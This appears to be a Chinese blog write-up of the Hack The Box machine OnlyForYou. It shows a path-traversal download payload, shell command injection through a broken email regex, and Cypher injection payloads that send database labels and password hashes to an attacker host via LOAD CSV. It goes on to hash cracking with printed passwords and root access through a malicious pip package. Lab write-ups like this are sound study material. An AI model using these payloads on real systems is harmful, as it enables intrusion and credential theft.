HTB-OnlyForYou

OverView

五一假期玩的真开心,还是写一下题解吧,重新复习一下。别的不说,这个名字起的挺好的。only4u

心得:拿到源码最好还是动态的搭建测试一下,不要光静态审计,有时候你就是很难发现问题所在。

Enumeration

Nmap

sudo nmap -sCV -T4 -p- 10.10.11.209 -o target

结果如下:

# Nmap 7.93 scan initiated Sun Apr 23 18:56:02 2023 as: nmap -sCVS -T5 -Pn -p- -v -oN target 10.10.11.210
Nmap scan report for 10.10.11.210
Host is up (0.23s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e883e0a9fd43df38198aaa35438411ec (RSA)
|   256 83f235229b03860c16cfb3fa9f5acd08 (ECDSA)
|_  256 445f7aa377690a77789b04e09f11db80 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://only4you.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Apr 23 18:58:52 2023 -- 1 IP address (1 host up) scanned in 170.01 seconds

Subdomain-Gather

用 wfuzz 很快找到 beta.only4you.htb

└─# cat subdomain.txt 
Target: http://only4you.htb/
Total requests: 8215
==================================================================
ID    Response   Lines      Word         Chars          Request    
==================================================================
00861:  C=200     51 L       145 W         2190 Ch        "beta - beta"

Total time: 0
Processed Requests: 8215
Filtered Requests: 8214
Requests/sec.: 0

由于主站并没有发现什么功能点,因此直接访问子域名的站点,发现一个下载源码的功能。那么就很爽快的下载了下来。

vmware_AEBBXdyXVE

Code Audit

是 Flask 框架搭建的 Web 服务。功能点也不多,但是其中一个路由显得很蹊跷。 download 功能有点奇怪,别的路由函数功能都 filename 进行了 secure_filename 处理,唯独他

@app.route('/download', methods=['POST'])
def download():
    image = request.form['image']
    filename = posixpath.normpath(image) 
    if '..' in filename or filename.startswith('../'):
        flash('Hacking detected!', 'danger')
        return redirect('/list')
    if not os.path.isabs(filename):
        filename = os.path.join(app.config['LIST_FOLDER'], filename) # LIST_FOLDER=uploads/list
    try:
        if not os.path.isfiRle(filename):
            flash('Image doesn\'t exist!', 'danger')
            return redirect('/list')
    except (TypeError, ValueError):
        raise BadRequest()
    return send_file(filename, as_attachment=True)

有几个函数不太常见,查了一下文档

normpath

chrome_cLdga9qcWD

isabs

chrome_vgKsT6HyA3

于是经过测试发现,如果我们传入的 filename 开头是 / 就可以绕过所谓的检测了,并且接着/../ 就不会被 isabs 函数认定为是绝对路径

vmware_dIliD5aLoV

Arbitrary file download

既然如此,那么我们就可以构造出能够任意下载文件的 Payload,比如:

image=/../../../../../etc/passwd

vmware_uB6gWMlqKk

这里注意到存在以下几个非 root 用户能够登录

john:x:1000:1000:john:/home/john:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mysql:x:113:117:MySQL Server,,,:/nonexistent:/bin/false
neo4j:x:997:997::/var/lib/neo4j:/bin/bash
dev:x:1001:1001::/home/dev:/bin/bash

分别是 johnneo4jdev

当我读取了 /etc/nginx/sites-enabled/default,我可以知道绝对路径

server {
    listen 80;
    return 301 http://only4you.htb$request_uri;
}

server {
    listen 80;
    server_name only4you.htb;

    location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/only4you.htb/only4you.sock;
    }
}

server {
    listen 80;
    server_name beta.only4you.htb;

        location / {
                include proxy_params;
                proxy_pass http://unix:/var/www/beta.only4you.htb/beta.sock;
        }
}

Main Site

Code Audit

既然子域名站点都是用 Python 了,那么主站也十有八九也是 Python。然后我尝试读取主站源码 image=/../../../../../var/www/only4you.htb/app.py

from flask import Flask, render_template, request, flash, redirect
from form import sendmessage
import uuid

app = Flask(__name__)
app.secret_key = uuid.uuid4().hex

@app.route('/', methods=['GET', 'POST'])
def index():
    if request.method == 'POST':
        email = request.form['email']
        subject = request.form['subject']
        message = request.form['message']
        ip = request.remote_addr

        status = sendmessage(email, subject, message, ip)
        if status == 0:
            flash('Something went wrong!', 'danger')
        elif status == 1:
            flash('You are not authorized!', 'danger')
        else:
            flash('Your message was successfuly sent! We will reply as soon as possible.', 'success')
        return redirect('/#contact')
    else:
        return render_template('index.html')

@app.errorhandler(404)
def page_not_found(error):
    return render_template('404.html'), 404

@app.errorhandler(500)
def server_errorerror(error):
    return render_template('500.html'), 500

@app.errorhandler(400)
def bad_request(error):
    return render_template('400.html'), 400

@app.errorhandler(405)
def method_not_allowed(error):
    return render_template('405.html'), 405

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=80, debug=False)

发现 from form import send, 接着读取 form.py


import smtplib, re
from email.message import EmailMessage
from subprocess import PIPE, run
import ipaddress

def issecure(email, ip):
    if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
        return 0
    else:
        domain = email.split("@", 1)[1]
        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
        output = result.stdout.decode('utf-8')
        if "v=spf1" not in output:
            return 1
        else:
            domains = []
            ips = []
            if "include:" in output:
                dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
                dms.pop(0)
                for domain in dms:
                    domains.append(domain)
                while True:
                    for domain in domains:
                        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)
                        output = result.stdout.decode('utf-8')
                        if "include:" in output:
                            dms = ''.join(re.findall(r"include:.*\.[A-Z|a-z]{2,}", output)).split("include:")
                            domains.clear()
                            for domain in dms:
                                domains.append(domain)
                        elif "ip4:" in output:
                            ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
                            ipaddresses.pop(0)
                            for i in ipaddresses:
                                ips.append(i)
                        else:
                            pass
                    break
            elif "ip4" in output:
                ipaddresses = ''.join(re.findall(r"ip4:+[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+[/]?[0-9]{2}", output)).split("ip4:")
                ipaddresses.pop(0)
                for i in ipaddresses:
                    ips.append(i)
            else:
                return 1
        for i in ips:
            if ip == i:
                return 2
            elif ipaddress.ip_address(ip) in ipaddress.ip_network(i):
                return 2
            else:
                return 1

def sendmessage(email, subject, message, ip):
    status = issecure(email, ip)
    if status == 2:
        msg = EmailMessage()
        msg['From'] = f'{email}'
        msg['To'] = '[email protected]'
        msg['Subject'] = f'{subject}'
        msg['Message'] = f'{message}'

        smtp = smtplib.SMTP(host='localhost', port=25)
        smtp.send_message(msg)
        smtp.quit()
        return status
    elif status == 1:
        return status
    else:
        return status

来回反复看了好几遍怎么也发现不了问题所在,到最后测试才发现是他的正则表达式和逻辑写错了。

Wrong regular expressions

首先是正则表达式,源码时这么匹配 email 的:

([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.([A-Z|a-z]){2,})

乍一看很正确,实际上它可以匹配

[email protected]|ls

正确的正则表达式写法:

([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.([A-Z]|[a-z]){2,})

但是这也不是主要的,代码逻辑上面也出现了问题

Faulty logic

    if not re.match("([A-Za-z0-9]+[.-_])*[A-Za-z0-9]+@[A-Za-z0-9-]+(\.[A-Z|a-z]{2,})", email):
        return 0
    else:
        domain = email.split("@", 1)[1]
        result = run([f"dig txt {domain}"], shell=True, stdout=PIPE)

也就是只要 email 的字符串中存在匹配正则表达式的一部分,就会返回真。也就是可以直接拼接。而且 subprocess.run 中的 shell 又设置为了 True,导致直接将字符串当作命令执行,可以执行多条 shell 语句。只有当设置为 False 只接受数组变量作为命令,并将数组的第一个元素作为命令,剩下的全部作为该命令的参数。也就是至多执行一条命令。

直接反弹 shell

vmware_l9HGIdEcKe

一套行云流水

$ which python3
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ ^Z
┌──(kali㉿kali)-[~]
└─$ stty raw -echo; fg     

vmware_OJ1isJ3JQU

Intranet Services

可以发现监听了 3000 端口和 8001 端口

vmware_f4CXJhSzED

端口转发出来发现。

3000 端口是一个 gogs 服务,但是不知道密码,也不知道版本号,没看见仓库内容。只能够知道有两个用户

vmware_9CmrjQb4E0

8001 端口是内网 app

vmware_DfYpWIjEl8

BurpSuite 发现回显包是一个 gunicorn/20.0.4

https://grenfeldt.dev/2021/04/01/gunicorn-20.0.4-request-smuggling/

vmware_sfiWK6GfKo

嗯,然后我就搞了好久好久的请求走私

GET /login HTTP/1.1
Host: 10.10.14.46:8001
Content-Length: 79
Sec-Websocket-Key1: x

xxxxxxxxGET /dashboard HTTP/1.1
Host: 10.10.14.46:8001
Content-Length: 51

GET /dashboard HTTP/1.1
Host: 10.10.14.46:8001

结果一点用的没有

vmware_ivOVN5senT

然后别人是靠弱密码 admin:admin 进去的,真的服了

Neo4j Inject

发现存在一个搜索框功能还有 neo4j?

vmware_dCwWok2igb

vmware_I2nPhgldGS

于是测试搜索框看是否有注入

https://book.hacktricks.xyz/pentesting-web/sql-injection/cypher-injection-neo4j#common-cypher-injections

' OR 1=1 WITH 1 as a  CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.10.14.46:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // 

结果

vmware_c2rgBkt5K9

获得标签:

' OR 1=1 WITH 1 as a  CALL db.labels() yield label LOAD CSV FROM 'http://10.10.14.46:8000/?l='+label as l RETURN 0 as _0 //  

vmware_NUiF42gNi0

然后开始查内容:

' OR 1=1 WITH 1 as a MATCH (f:user) UNWIND keys(f) as p LOAD CSV FROM 'http://10.10.14.46:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 //

vmware_4wtCUG5gbs

可以看到

有两组密码

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6

两个用户

admin
john

FootHold

去 https://hashes.com/en/tools/hash_identifier 检测发现是 SHA256 加密方式

chrome_VktC0JWUlD

用 hashcat 很快破解出来两个密码

hashcat -m  1400 hash /usr/share/wordlists/rockyou.txt

vmware_yz3MP21JaV

8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918:admin
a85e870c05825afeac63215d5e845aa7f3088cd15359ea88fa4061c6411c55f6:ThisIs4You

这个时候直接 ssh 上去好了

vmware_EJZkncNry8

直接获得第一个 flag

Privilege escalation

pip3 download

直接 sudo -l 查看

vmware_WPSJLSM8PJ

谷歌搜索pip3 download exploit参考

https://embracethered.com/blog/posts/2022/python-package-manager-install-and-download-vulnerability/

大概就是在 setup.py 处修改执行时候的代码,然后将其打包为 tar.gz 的时候,等别人 download 就会执行被修改的代码。

vmware_Z4nkWIKrbe

本地打包

python -m build

会在生成一个 dist 目录,在该目录下有我们需要的 tar.gz

vmware_joDx42F78u

稍微起一个 http 服务进行本地测试

vmware_JmmRCGChvr

直接复现成功。

回到靶机上。

在 gogs 上新建仓库然后上传压缩包

vmware_Fr6My68jaA

然后

sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/exp/raw/master/this_is_fine_wuzzi-0.0.3.tar.gz

注意 url 是 raw

vmware_6subOeNbDq

然后就提权成功了,bash -p 即可获得最后的 flag

版权声明:除特殊说明,博客文章均为 Shule 原创,依据 CC BY-SA 4.0 许可证进行授权,转载请附上出处链接及本声明。
暂无评论

发送评论 编辑评论


|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇